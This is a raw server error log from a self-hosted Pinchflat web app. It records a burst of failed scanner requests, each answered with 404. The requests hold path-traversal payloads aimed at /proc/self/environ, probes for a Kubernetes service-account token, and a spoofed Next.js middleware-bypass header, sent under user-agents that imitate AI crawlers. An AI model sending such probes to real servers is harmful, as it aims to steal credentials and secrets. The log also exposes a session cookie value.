"user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29499.0>, params: %{}, path_info: ["api", "w", "default", "jobs_u", "get_log_file", "..", "..", "..", "..", "proc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PiOuE4wAcMABvcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sha (truncated) 16:49:04.397 [error] #PID<0.29497.0> running PinchflatWeb.Endpoint (connection #PID<0.29496.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /var/run/secrets/kubernetes.io/serviceaccount/token ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/run/secrets/kubernetes.io/serviceaccount/token (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29497.0>, params: %{}, path_info: ["var", "run", "secrets", "kubernetes.io", "serviceaccount", "token"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/var/run/secrets/kubernetes.io/serviceaccount/token", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PiKDHu3bj4ABvbh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/run/secrets/kubernetes.io/serviceaccount/token (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:mid (truncated) 16:49:04.426 [info] GET /proc/self/cmdline 16:49:04.426 [debug] QUERY OK source="settings" db=0.0ms idle=79.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.426 [debug] QUERY OK source="settings" db=0.0ms idle=29.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.426 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.426 [error] #PID<0.29501.0> running PinchflatWeb.Endpoint (connection #PID<0.29500.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /proc/self/cmdline ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /proc/self/cmdline (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29501.0>, params: %{}, path_info: ["proc", "self", "cmdline"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/proc/self/cmdline", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PpN9_47xeMABvch"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /proc/self/cmdline (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33282}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" (truncated) 16:49:04.437 [info] GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ 16:49:04.437 [debug] QUERY OK source="settings" db=0.0ms idle=40.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.437 [debug] QUERY OK source="settings" db=0.0ms idle=40.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.437 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.437 [error] #PID<0.29503.0> running PinchflatWeb.Endpoint (connection #PID<0.29502.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29503.0>, params: %{}, path_info: ["api", "w", "starter", "jobs_u", "get_log_file", "..", "..", "..", "..", "proc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Pr1_JqcumwABvdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: 